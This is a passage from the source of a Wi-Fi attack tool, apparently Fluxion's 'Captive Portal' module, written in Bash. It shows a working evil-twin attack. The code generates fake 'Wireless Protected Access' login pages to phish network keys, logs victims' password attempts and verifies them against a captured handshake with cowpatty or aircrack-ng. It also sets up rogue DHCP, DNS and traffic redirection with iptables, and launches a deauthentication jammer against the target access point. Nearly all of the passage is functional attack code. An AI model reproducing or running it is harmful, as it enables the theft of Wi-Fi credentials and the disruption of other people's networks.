|
|
# Someone that knows more about python and how it does byte-handling,
|
|
# please fix the following shitfest and make it a bit more elegant.
|
|
# Do what? A raw conversion of the \"response\" string to bytes.
|
|
responseHex = ''
|
|
for xx in response:
|
|
responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111)
|
|
|
|
response = bytearray.fromhex(responseHex)
|
|
|
|
link.sendto(response, clientIPv4)
|
|
|
|
print('Request: %s -> %s' % (query.domain, targetIPv4))
|
|
|
|
except KeyboardInterrupt:
|
|
print('INTERRUPT: Stopping.')
|
|
link.close()
|
|
|
|
except Exception as error:
|
|
print('EXCEPTION: Stopping!')
|
|
print(error)
|
|
print(traceback.format_exc())
|
|
link.close()
|
|
" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
|
|
|
chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"
|
|
|
|
local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"}
|
|
# Attack arbiter script
|
|
echo "\
|
|
#!/usr/bin/env bash
|
|
|
|
signal_stop_attack() {
|
|
kill -s SIGABRT $$ # Signal STOP ATTACK
|
|
handle_abort_authenticator
|
|
}
|
|
|
|
handle_abort_authenticator() {
|
|
AuthenticatorState=\"aborted\"
|
|
}
|
|
|
|
trap signal_stop_attack SIGINT SIGHUP
|
|
trap handle_abort_authenticator SIGABRT
|
|
|
|
echo > \"$FLUXIONWorkspacePath/candidate.txt\"
|
|
echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\"
|
|
|
|
# Assure we've got a directory to store net logs into.
|
|
if [ ! -d \"$CaptivePortalNetLog\" ]; then
|
|
mkdir -p \"$CaptivePortalNetLog\"
|
|
fi
|
|
|
|
# Assure we've got a directory to store pwd logs into.
|
|
if [ ! -d \"$CaptivePortalPassLog\" ]; then
|
|
mkdir -p \"$CaptivePortalPassLog\"
|
|
fi
|
|
|
|
# Make console cursor invisible, cnorm to revert.
|
|
tput civis
|
|
clear
|
|
|
|
m=0
|
|
h=0
|
|
s=0
|
|
i=0
|
|
|
|
AuthenticatorState=\"running\"
|
|
|
|
startTime=\$(date +%s)
|
|
|
|
while [ \$AuthenticatorState = \"running\" ]; do
|
|
let s=\$(date +%s)-\$startTime
|
|
|
|
d=\`expr \$s / 86400\`
|
|
s=\`expr \$s % 86400\`
|
|
h=\`expr \$s / 3600\`
|
|
s=\`expr \$s % 3600\`
|
|
m=\`expr \$s / 60\`
|
|
s=\`expr \$s % 60\`
|
|
|
|
if [ \"\$s\" -le 9 ]; then
|
|
is=\"0\"
|
|
else
|
|
is=
|
|
fi
|
|
|
|
if [ \"\$m\" -le 9 ]; then
|
|
im=\"0\"
|
|
else
|
|
im=
|
|
fi
|
|
|
|
if [ \"\$h\" -le 9 ]; then
|
|
ih=\"0\"
|
|
else
|
|
ih=
|
|
fi
|
|
|
|
if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then
|
|
# Save any new password attempt.
|
|
cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"
|
|
|
|
# Clear logged password attempt.
|
|
echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\"
|
|
fi
|
|
|
|
if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then
|
|
cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\"
|
|
echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\"
|
|
echo -n > \"$FLUXIONWorkspacePath/ip_hits\"
|
|
fi
|
|
|
|
" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
if [ $CaptivePortalAuthenticatorMode = "hash" ]; then
|
|
# 05/26/19: Default to cowpatty for verification since aircrack-ng appears to have a bug.
|
|
if which cowpatty &> /dev/null; then
|
|
echo "
|
|
if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then
|
|
if cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" -r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &> /dev/null; then
|
|
echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
|
|
sleep 1
|
|
break
|
|
|
|
else
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
|
|
fi
|
|
fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
else
|
|
echo "
|
|
if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then
|
|
# Check if we've got the correct password by looking for anything other than \"Passphrase not in\" or \"KEY NOT FOUND\".
|
|
if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | egrep -qi \"Passphrase not in|KEY NOT FOUND\"; then
|
|
echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
|
|
sleep 1
|
|
break
|
|
|
|
else
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\"
|
|
|
|
fi
|
|
fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
fi
|
|
fi
|
|
|
|
local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g")
|
|
echo "
|
|
readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host)
|
|
|
|
echo
|
|
echo -e \" ACCESS POINT:\"
|
|
printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\"
|
|
echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\"
|
|
echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\"
|
|
echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\"
|
|
echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\"
|
|
echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\"
|
|
echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\"
|
|
echo
|
|
echo -e \" CLIENTS ONLINE:\"
|
|
|
|
x=0
|
|
for client in \"\${DHCPClients[@]}\"; do
|
|
x=\$((\$x+1))
|
|
|
|
ClientIP=\$(echo \$client| cut -d \" \" -f2)
|
|
ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:])
|
|
|
|
if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then
|
|
ClientMAC=\"xx:xx:xx:xx:xx:xx\"
|
|
fi
|
|
|
|
ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-)
|
|
|
|
if echo \$ClientMAC| grep -q x; then
|
|
ClientMID=\"unknown\"
|
|
fi
|
|
|
|
ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}')
|
|
|
|
echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\"
|
|
done
|
|
|
|
echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
if [ $CaptivePortalAuthenticatorMode = "hash" ]; then
|
|
echo "
|
|
sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
fi
|
|
|
|
echo "
|
|
done
|
|
|
|
if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi
|
|
|
|
clear
|
|
echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\"
|
|
|
|
# sleep 7
|
|
sleep 3
|
|
|
|
signal_stop_attack
|
|
|
|
echo \"
|
|
FLUXION $FLUXIONVersion.$FLUXIONRevision
|
|
|
|
SSID: \\\"$staticSSID\\\"
|
|
BSSID: $FluxionTargetMAC ($FluxionTargetMaker)
|
|
Channel: $FluxionTargetChannel
|
|
Security: $FluxionTargetEncryption
|
|
Time: \$ih\$h:\$im\$m:\$is\$s
|
|
Password: \$(cat $FLUXIONWorkspacePath/candidate.txt)
|
|
Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand))
|
|
IP: $(captive_portal_get_client_IP)
|
|
\" >\"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
|
|
if [ $CaptivePortalAuthenticatorMode = "hash" ]; then
|
|
# echo "
|
|
# aircrack-ng -a 2 -b $FluxionTargetMAC -0 -s \"$CaptivePortalHashPath\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\
|
|
#" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
echo "
|
|
echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\
|
|
" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
fi
|
|
|
|
chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh"
|
|
}
|
|
|
|
# Generate the contents for a generic web interface
|
|
captive_portal_generic() {
|
|
if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then
|
|
mkdir "$FLUXIONWorkspacePath/captive_portal"
|
|
fi
|
|
|
|
base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip"
|
|
|
|
unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip"
|
|
|
|
echo "\
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset=\"UTF-8\">
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
<title>Wireless Protected Access: Verifying</title>
|
|
|
|
<!-- Styles -->
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
<!-- Scripts -->
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
</head>
|
|
<body>
|
|
<!-- final page -->
|
|
<div id=\"done\" data-role=\"page\" data-theme=\"a\">
|
|
<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
|
|
<h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3>
|
|
</div>
|
|
</div>
|
|
</body>
|
|
</html>" >"$FLUXIONWorkspacePath/captive_portal/final.html"
|
|
|
|
echo "\
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset=\"UTF-8\">
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
<title>Wireless Protected Access: Key Mismatch</title>
|
|
|
|
<!-- Styles -->
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
<!-- Scripts -->
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
<script src=\"js/jquery.validate.min.js\"></script>
|
|
<script src=\"js/additional-methods.min.js\"></script>
|
|
</head>
|
|
<body>
|
|
<!-- Error page -->
|
|
<div data-role=\"page\" data-theme=\"a\">
|
|
<div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\">
|
|
<h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3>
|
|
<a href=\"index.html\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.html'\">$DIALOG_WEB_BACK</a>
|
|
</div>
|
|
</div>
|
|
</body>
|
|
</html>" >"$FLUXIONWorkspacePath/captive_portal/error.html"
|
|
|
|
echo "\
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset=\"UTF-8\">
|
|
<meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\">
|
|
|
|
<title>Wireless Protected Access: Login</title>
|
|
|
|
<!-- Styles -->
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
<!-- Scripts -->
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
<script src=\"js/jquery.validate.min.js\"></script>
|
|
<script src=\"js/additional-methods.min.js\"></script>
|
|
</head>
|
|
<body>
|
|
<!-- Main page -->
|
|
<div data-role=\"page\" data-theme=\"a\">
|
|
<div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\">
|
|
<fieldset>
|
|
<form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\">
|
|
</br>
|
|
<div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\">
|
|
<div><u>$FluxionTargetSSID</u> ($FluxionTargetMAC)</div>
|
|
<!--<div>Channel: $FluxionTargetChannel</div>-->
|
|
</div>
|
|
<div style=\"text-align:center;\">
|
|
<br>
|
|
<label>$DIALOG_WEB_INFO</label>
|
|
<br>
|
|
</div>
|
|
<div class=\"ui-field-contain\">
|
|
<label for=\"key1\">$DIALOG_WEB_INPUT</label>
|
|
<input id=\"key1\" style=\"color:#333; background-color:#CCC\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/>
|
|
</div>
|
|
<input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/>
|
|
</form>
|
|
</fieldset>
|
|
</div>
|
|
</div>
|
|
|
|
<script src=\"js/main.js\"></script>
|
|
|
|
<script>
|
|
$.extend( $.validator.messages, {
|
|
required: \"$DIALOG_WEB_ERROR_MSG\",
|
|
maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ),
|
|
minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )
|
|
});
|
|
</script>
|
|
</body>
|
|
</html>" >"$FLUXIONWorkspacePath/captive_portal/index.html"
|
|
|
|
if [ $FLUXIONEnable5GHZ -eq 1 ];then
|
|
cp -r "$FLUXIONPath/attacks/Captive Portal/deauth-ng.py" "$FLUXIONWorkspacePath/captive_portal/deauth-ng.py"
|
|
chmod +x "$FLUXIONWorkspacePath/captive_portal/deauth-ng.py"
|
|
fi
|
|
|
|
}
|
|
|
|
captive_portal_unset_routes() {
|
|
if [ -f "$FLUXIONIPTablesBackup" ]; then
|
|
iptables-restore <"$FLUXIONIPTablesBackup" \
|
|
&> $FLUXIONOutputDevice
|
|
else
|
|
iptables --flush
|
|
iptables --table nat --flush
|
|
iptables --delete-chain
|
|
iptables --table nat --delete-chain
|
|
fi
|
|
|
|
# Restore system's original forwarding state
|
|
if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then
|
|
sysctl -w net.ipv4.ip_forward=$(
|
|
cat "$FLUXIONWorkspacePath/ip_forward"
|
|
) &> $FLUXIONOutputDevice
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward"
|
|
fi
|
|
|
|
ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null
|
|
}
|
|
|
|
# Set up DHCP / WEB server
|
|
# Set up DHCP / WEB server
|
|
captive_portal_set_routes() {
|
|
# Give an address to the gateway interface in the rogue network.
|
|
# This makes the interface accessible from the rogue network.
|
|
ip addr add $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface
|
|
|
|
# Save the system's routing state to restore later.
|
|
cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward"
|
|
|
|
# Activate system IPV4 packet routing/forwarding.
|
|
sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice
|
|
|
|
iptables --flush
|
|
iptables --table nat --flush
|
|
iptables --delete-chain
|
|
iptables --table nat --delete-chain
|
|
iptables -P FORWARD ACCEPT
|
|
|
|
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
|
|
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
|
|
iptables -A INPUT -p udp --dport 53 -j ACCEPT
|
|
iptables -A INPUT -p udp --dport 67 -j ACCEPT
|
|
|
|
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \
|
|
--to-destination $CaptivePortalGatewayAddress:80
|
|
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \
|
|
--to-destination $CaptivePortalGatewayAddress:443
|
|
iptables -t nat -A POSTROUTING -j MASQUERADE
|
|
}
|
|
|
|
captive_portal_stop_interface() {
|
|
captive_portal_unset_routes
|
|
|
|
if [ "$CaptivePortalAPService" ]; then
|
|
ap_service_stop
|
|
fi
|
|
}
|
|
|
|
captive_portal_start_interface() {
|
|
if [ "$CaptivePortalAPService" ]; then
|
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice"
|
|
ap_service_start
|
|
else
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine Configuration for external access point device:"
|
|
echo
|
|
|
|
fluxion_target_show
|
|
|
|
echo -e "$FLUXIONVLine IPv4 Address: ${CaptivePortalGatewayAddress%.*}.2/24"
|
|
echo -e "$FLUXIONVLine IPv6 Address: Disabled"
|
|
echo -e "$FLUXIONVLine DHCP Server: $CaptivePortalGatewayAddress"
|
|
echo -e "$FLUXIONVLine DNS Server: $CaptivePortalGatewayAddress"
|
|
echo
|
|
|
|
echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}"
|
|
read -n1 -p "Press any key to continue... " bullshit
|
|
fi
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice"
|
|
captive_portal_set_routes &
|
|
sleep 3
|
|
|
|
fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
|
fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
|
}
|
|
|
|
|
|
# ============================================================ #
|
|
# =================== < Parse Parameters > =================== #
|
|
# ============================================================ #
|
|
if [ ! "$CaptivePortalCLIArguments" ]; then
|
|
if ! CaptivePortalCLIArguments=$(
|
|
getopt --options="a:j:s:c:u:h:" \
|
|
--longoptions="ap:,jammer:,ssl:,connectivity:,ui:,hash:" \
|
|
--name="Captive Portal V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
|
|
); then
|
|
echo -e "${CRed}Aborted$CClr, parameter error detected..."
|
|
sleep 5
|
|
fluxion_handle_exit
|
|
fi
|
|
|
|
declare -r CaptivePortalCLIArguments=$CaptivePortalCLIArguments
|
|
|
|
eval set -- "$CaptivePortalCLIArguments" # Set environment parameters.
|
|
fi
|
|
|
|
|
|
# ============================================================ #
|
|
# ============= < Argument Loaded Configurables > ============ #
|
|
# ============================================================ #
|
|
while [ "$1" != "" -a "$1" != "--" ]; do
|
|
case "$1" in
|
|
-a|--ap)
|
|
CaptivePortalAccessPointInterfaceOriginal=$2; shift;;
|
|
-j|--jammer)
|
|
CaptivePortalJammerInterfaceOriginal=$2; shift;;
|
|
-s|--ssl)
|
|
CaptivePortalSSLCertificatePath=$2; shift;;
|
|
-c|--connectivity)
|
|
CaptivePortalConnectivity=$2; shift;;
|
|
-u|--ui)
|
|
CaptivePortalUserInterface=$2; shift;;
|
|
-h|--hash)
|
|
# Assuming hash auth-mode here (the only one available as of now).
|
|
# WARNING: If more auth-modes are added, assume hash auth-mode here!
|
|
CaptivePortalHashPath=$2; shift;;
|
|
esac
|
|
shift # Shift new parameters
|
|
done
|
|
|
|
|
|
# ============================================================ #
|
|
# ===================== < Fluxion Hooks > ==================== #
|
|
# ============================================================ #
|
|
attack_targetting_interfaces() {
|
|
interface_list_wireless
|
|
local interface
|
|
for interface in "${InterfaceListWireless[@]}"; do
|
|
echo "$interface"
|
|
done
|
|
}
|
|
|
|
attack_tracking_interfaces() {
|
|
interface_list_wireless
|
|
local interface
|
|
for interface in "${InterfaceListWireless[@]}"; do
|
|
echo "$interface"
|
|
done
|
|
echo "" # This enables the Skip option.
|
|
}
|
|
|
|
unprep_attack() {
|
|
CaptivePortalState="Not Ready"
|
|
|
|
captive_portal_unset_attack
|
|
captive_portal_unset_user_interface
|
|
captive_portal_unset_connectivity
|
|
captive_portal_unset_certificate
|
|
captive_portal_unset_authenticator
|
|
captive_portal_unset_ap_interface
|
|
captive_portal_unset_jammer_interface
|
|
}
|
|
|
|
prep_attack() {
|
|
local sequence=(
|
|
"set_jammer_interface"
|
|
"set_ap_interface"
|
|
"set_ap_service"
|
|
"set_authenticator"
|
|
"set_certificate"
|
|
"set_connectivity"
|
|
"set_user_interface"
|
|
"set_attack"
|
|
)
|
|
|
|
if ! fluxion_do_sequence captive_portal sequence[@]; then
|
|
return 1
|
|
fi
|
|
|
|
CaptivePortalState="Ready"
|
|
}
|
|
|
|
load_attack() {
|
|
local -r configurationPath=$1
|
|
|
|
local configuration
|
|
readarray -t configuration < <(more "$configurationPath")
|
|
|
|
CaptivePortalJammerInterfaceOriginal=${configuration[0]}
|
|
CaptivePortalAccessPointInterfaceOriginal=${configuration[1]}
|
|
CaptivePortalAPService=${configuration[2]}
|
|
CaptivePortalAuthenticatorMode=${configuration[3]}
|
|
CaptivePortalSSL=${configuration[4]}
|
|
CaptivePortalConnectivity=${configuration[5]}
|
|
CaptivePortalUserInterface=${configuration[6]}
|
|
|
|
# Hash authenticator mode configuration.
|
|
CaptivePortalHashPath=${configuration[7]}
|
|
|
|
# Target hash information for verification.
|
|
local -r targetHashSSID=${configuration[8]}
|
|
local -r targetHashMAC=${configuration[9]}
|
|
|
|
# Assure hash is relevant for fluxion's current target.
|
|
# If the hash is no longer relevant, clear to force reset.
|
|
if [ \
|
|
"$targetHashSSID" != "$FluxionTargetSSID" -o \
|
|
"$targetHashMAC" != "$FluxionTargetMAC" ]; then
|
|
CaptivePortalHashPath=""
|
|
fi
|
|
}
|
|
|
|
save_attack() {
|
|
local -r configurationPath=$1
|
|
|
|
# Store/overwrite attack configuration for pause & resume.
|
|
# Order: JammerWI, APWI, APServ, AuthMode, SSL, Conn, UI
|
|
echo "$CaptivePortalJammerInterfaceOriginal" > "$configurationPath"
|
|
echo "$CaptivePortalAccessPointInterfaceOriginal" >> "$configurationPath"
|
|
echo "$CaptivePortalAPService" >> "$configurationPath"
|
|
echo "$CaptivePortalAuthenticatorMode" >> "$configurationPath"
|
|
echo "$CaptivePortalSSL" >> "$configurationPath"
|
|
echo "$CaptivePortalConnectivity" >> "$configurationPath"
|
|
echo "$CaptivePortalUserInterface" >> "$configurationPath"
|
|
|
|
# Hash authenticator mode configuration.
|
|
echo "$CaptivePortalHashPath" >> "$configurationPath"
|
|
|
|
# Target to verify validity of hash on restore.
|
|
echo "$FluxionTargetSSID" >> "$configurationPath"
|
|
echo "$FluxionTargetMAC" >> "$configurationPath"
|
|
}
|
|
|
|
stop_attack() {
|
|
# Attempt to find PIDs of any running authenticators.
|
|
local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}')
|
|
|
|
# Signal any authenticator to stop authentication loop.
|
|
if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi
|
|
|
|
if [ "$CaptivePortalJammerServiceXtermPID" ]; then
|
|
kill $(pgrep -P $CaptivePortalJammerServiceXtermPID \
|
|
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
|
|
CaptivePortalJammerServiceXtermPID="" # Clear parent PID
|
|
fi
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk4_blacklist.lst"
|
|
|
|
# Kill captive portal web server log viewer.
|
|
if [ "$CaptivePortalWebServiceXtermPID" ]; then
|
|
kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice
|
|
CaptivePortalWebServiceXtermPID="" # Clear service PID
|
|
fi
|
|
|
|
# Kill captive portal web server.
|
|
if [ "$CaptivePortalWebServicePID" ]; then
|
|
kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice
|
|
CaptivePortalWebServicePID="" # Clear service PID
|
|
fi
|
|
|
|
# Kill python DNS service if one is found.
|
|
if [ "$CaptivePortalDNSServiceXtermPID" ]; then
|
|
kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \
|
|
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
|
|
CaptivePortalDNSServiceXtermPID="" # Clear parent PID
|
|
fi
|
|
|
|
# Kill DHCP service.
|
|
if [ "$CaptivePortalDHCPServiceXtermPID" ]; then
|
|
kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID \
|
|
2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice
|
|
CaptivePortalDHCPServiceXtermPID="" # Clear parent PID
|
|
fi
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt"
|
|
|
|
captive_portal_stop_interface
|
|
|
|
# Start the network-manager if it's disabled.
|
|
if systemctl status network-manager.service &> /dev/null; then
|
|
if [ ! -x "$(command -v systemctl)" ]; then
|
|
if [ -x "$(command -v service)" ];then
|
|
service network-manager.service
|
|
fi
|
|
systemctl stop network-manager.service
|
|
fi
|
|
fi
|
|
CaptivePortalState="Stopped"
|
|
}
|
|
|
|
start_attack() {
|
|
if [ "$CaptivePortalState" = "Running" ]; then return 0; fi
|
|
if [ "$CaptivePortalState" != "Ready" ]; then return 1; fi
|
|
CaptivePortalState="Running"
|
|
|
|
stop_attack
|
|
|
|
if systemctl status network-manager.service &> /dev/null; then
|
|
if [ ! -x "$(command -v systemctl)" ]; then
|
|
if [ -x "$(command -v service)" ];then
|
|
service network-manager.service stop
|
|
fi
|
|
systemctl stop network-manager.service
|
|
fi
|
|
fi
|
|
|
|
if systemctl status systemd-resolved &> /dev/null; then
|
|
if [ ! -x "$(command -v systemctl)" ]; then
|
|
if [ -x "$(command -v service)" ];then
|
|
service systemd-resolved stop
|
|
fi
|
|
systemctl stop systemd-resolved.service
|
|
fi
|
|
fi
|
|
|
|
captive_portal_start_interface
|
|
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice"
|
|
xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" \
|
|
-title "FLUXION AP DHCP Service" -e \
|
|
"dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" &
|
|
# Save parent's pid, to get to child later.
|
|
CaptivePortalDHCPServiceXtermPID=$!
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
|
|
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \
|
|
-title "FLUXION AP DNS Service" -e \
|
|
"if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" &
|
|
# Save parent's pid, to get to child later.
|
|
CaptivePortalDNSServiceXtermPID=$!
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
|
|
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" \
|
|
&> $FLUXIONOutputDevice
|
|
CaptivePortalWebServicePID=$!
|
|
|
|
xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" \
|
|
-title "FLUXION Web Service" -e \
|
|
"tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" &
|
|
CaptivePortalWebServiceXtermPID=$!
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
|
|
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk4_blacklist.lst"
|
|
|
|
if [ $FLUXIONEnable5GHZ -eq 1 ]; then
|
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
|
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
|
|
"./$FLUXIONWorkspacePath/captive_portal/deauth-ng.py -i $CaptivePortalJammerInterface -f 5 -c $FluxionTargetChannel -a $FluxionTargetMAC" &
|
|
# Save parent's pid, to get to child later.
|
|
CaptivePortalJammerServiceXtermPID=$!
|
|
elif [[ $option_deauth -eq 1 ]]; then
|
|
|
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
|
|
